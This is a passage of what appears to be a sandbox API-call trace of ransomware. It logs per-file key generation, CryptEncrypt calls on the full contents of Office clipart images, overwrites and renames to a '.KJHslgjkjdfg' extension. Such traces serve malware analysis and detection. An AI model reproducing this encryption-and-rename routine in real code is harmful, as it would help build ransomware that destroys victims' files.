nFileSizeLow=0x49d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0209.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.836] GetProcessHeap () returned 0x990000 [0209.836] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.836] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.836] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0209.868] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.868] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.868] GetProcessHeap () returned 0x990000 [0209.868] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.868] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.868] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.868] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.869] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.869] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.869] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x49d2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x49d2, lpOverlapped=0x0) returned 1 [0209.872] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x49e0, dwBufLen=0x49e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x49e0) returned 1 [0209.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.873] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x49e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x49e0, lpOverlapped=0x0) returned 1 [0209.873] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.873] SetEndOfFile (hFile=0x130) returned 1 [0209.876] GetProcessHeap () returned 0x990000 [0209.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.876] GetProcessHeap () returned 0x990000 [0209.876] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.kjhslgjkjdfg")) returned 1 [0209.878] CloseHandle (hObject=0x130) returned 1 [0209.878] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0209.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.879] GetProcessHeap () returned 0x990000 [0209.879] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.879] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.880] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0209.883] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.883] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.883] GetProcessHeap () returned 0x990000 [0209.883] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.883] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.883] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.883] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.884] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.884] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.884] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x78af, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x78af, lpOverlapped=0x0) returned 1 [0209.912] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x78b0, dwBufLen=0x78b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x78b0) returned 1 [0209.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.913] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x78b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x78b0, lpOverlapped=0x0) returned 1 [0209.913] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.913] SetEndOfFile (hFile=0x130) returned 1 [0209.916] GetProcessHeap () returned 0x990000 [0209.916] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.916] GetProcessHeap () returned 0x990000 [0209.916] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.kjhslgjkjdfg")) returned 1 [0209.918] CloseHandle (hObject=0x130) returned 1 [0209.918] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0209.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.919] GetProcessHeap () returned 0x990000 [0209.919] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.919] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.919] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.920] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.920] GetProcessHeap () returned 0x990000 [0209.920] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.920] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.920] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.920] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.923] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.923] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.924] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.924] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.924] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7450, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7450, lpOverlapped=0x0) returned 1 [0209.946] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7450, dwBufLen=0x7450 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7450) returned 1 [0209.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.946] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7450, lpOverlapped=0x0) returned 1 [0209.946] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.947] SetEndOfFile (hFile=0x130) returned 1 [0209.949] GetProcessHeap () returned 0x990000 [0209.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.949] GetProcessHeap () returned 0x990000 [0209.949] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.kjhslgjkjdfg")) returned 1 [0209.951] CloseHandle (hObject=0x130) returned 1 [0209.952] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0209.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.954] GetProcessHeap () returned 0x990000 [0209.954] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.954] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.954] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0210.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.101] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.101] GetProcessHeap () returned 0x990000 [0210.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.101] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.101] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.101] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.101] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.102] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.102] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.102] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.102] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.102] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.102] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa343, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa343, lpOverlapped=0x0) returned 1 [0210.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa350, dwBufLen=0xa350 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa350) returned 1 [0210.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.361] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa350, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa350, lpOverlapped=0x0) returned 1 [0210.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.361] SetEndOfFile (hFile=0x130) returned 1 [0210.364] GetProcessHeap () returned 0x990000 [0210.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.364] GetProcessHeap () returned 0x990000 [0210.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.kjhslgjkjdfg")) returned 1 [0210.365] CloseHandle (hObject=0x130) returned 1 [0210.366] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa445, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03224I.JPG", cAlternateFileName="")) returned 1 [0210.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.367] GetProcessHeap () returned 0x990000 [0210.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0210.430] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.430] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.431] GetProcessHeap () returned 0x990000 [0210.431] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.431] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.431] CryptDestroyKey 